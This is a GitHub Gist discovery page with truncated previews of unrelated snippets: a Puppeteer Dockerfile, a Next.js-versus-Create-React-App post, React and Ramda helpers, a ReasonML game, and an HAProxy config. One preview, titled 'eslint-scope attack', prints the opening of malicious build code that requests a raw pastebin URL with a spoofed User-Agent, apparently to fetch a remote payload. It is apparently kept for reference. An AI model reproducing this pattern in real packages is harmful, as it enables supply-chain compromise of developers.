Skip to content

Instantly share code, notes, and snippets.

@myisaak
myisaak / Dockerfile
Last active July 8, 2024 08:56
Puppeteer with Alpine inside multi-staged Dockerfile
FROM node:13-alpine as base
LABEL maintainer="Isaak Eriksson <isaak.eriksson@gmail.com>"
ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true
ENV PUPPETEER_EXECUTABLE_PATH /usr/bin/chromium-browser
WORKDIR /src
RUN apk update && apk add --no-cache --virtual \
@tannerlinsley
tannerlinsley / README.md
Last active April 12, 2024 17:04
Replacing Create React App with the Next.js CLI

Replacing Create React App with the Next.js CLI

How dare you make a jab at Create React App!?

Firstly, Create React App is good. But it's a very rigid CLI, primarily designed for projects that require very little to no configuration. This makes it great for beginners and simple projects but unfortunately, this means that it's pretty non-extensible. Despite the involvement from big names and a ton of great devs, it has left me wanting a much better developer experience with a lot more polish when it comes to hot reloading, babel configuration, webpack configuration, etc. It's definitely simple and good, but not amazing.

Now, compare that experience to Next.js which for starters has a much larger team behind it provided by a world-class company (Vercel) who are all financially dedicated to making it the best DX you could imagine to build any React application. Next.js is the 💣-diggity. It has amazing docs, great support, can grow with your requirements into SSR or static site generation, etc.

So why

@melanierichards
melanierichards / moving-the-web-forward.md
Last active September 13, 2020 01:57
"Moving the Web Forward with Microsoft Edge and Chromium": Session Resources
import React from 'react';
export const useComplexState = (initialState) => {
const initialStateRef = React.useRef(null);
if (initialStateRef.current === null) {
// Only get initialState once. This is a sort of memoization of initalState functions.
initialStateRef.current = typeof initialState === 'function' ? initialState() : initialState;
}
// useReducer returns [state, dispatch].
@hzoo
hzoo / build.js
Created July 12, 2018 19:20
eslint-scope attack
try {
var https = require("https");
https
.get(
{
hostname: "pastebin.com",
path: "/raw/XLeVP82h",
headers: {
"User-Agent":
"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",
@WebReflection
WebReflection / hyper-lit.md
Last active November 8, 2022 03:55
lit-html is awesome, but it came afterwards

The history of hyperHTML followed by lit-html

While many remember the epic hyperHTML: A Virtual DOM Alternative post I've published the 5th of March 2017, the first official implementation of the library was working as hyperHTML.bind(node) function for tagged literals the day before, and it's been in my experiments folder already for a little while.

The hilarious reaction from the skeptical community

At first glance people couldn't believe performance of the DBMonster demo shown in that article,

@busypeoples
busypeoples / Game.re
Last active January 7, 2018 22:08
ReasonML Game
type field =
| O
| X;
type position = (field, field, field, field);
type unit = (position, position, position, position);
type units = list(unit);
anonymous
anonymous / fun-with-compose.js
Created November 9, 2017 17:34
fun-with-compose created by josgraha - https://repl.it/NznS/2
const R = require('ramda');
const { append, compose, filter, flatten, isArray, join, map, prepend } = R
const { log } = console
// html markup functions
const UL = 'ul'
const LI = 'li'
const tagOpen = tag => `<${tag}>`
@ChrisPenner
ChrisPenner / heyting-validation.js
Created August 23, 2017 14:32
Heyting Algebra Validation
const all = (...preds) => (obj) => preds.map(f => f(obj)).reduce((a, b) => a && b, true)
const any = (...preds) => (obj) => preds.map(f => f(obj)).reduce((a, b) => a || b, false)
const oneOf = (...preds) => (obj) => preds.map(f => f(obj)).reduce((a, b) => a ? !b : b, false)
const has = (prop) => (obj) => obj[prop] !== undefined
const not = (pred) => (obj) => !pred(obj)
const equals = (prop, val) => (obj) => obj[prop] === val
const implies = (f, g) => (obj) => !f(obj) || g(obj);
const validate = all(implies(has('selectedIndex'), equals('isOpen', true)))
@cmer
cmer / haproxy.cfg
Last active April 15, 2024 09:54
Simple, no bullshit TCP port forwarding using HAProxy
listen l1
bind 0.0.0.0:443
mode tcp
timeout connect 4000
timeout client 180000
timeout server 180000
server srv1 host.example.com:9443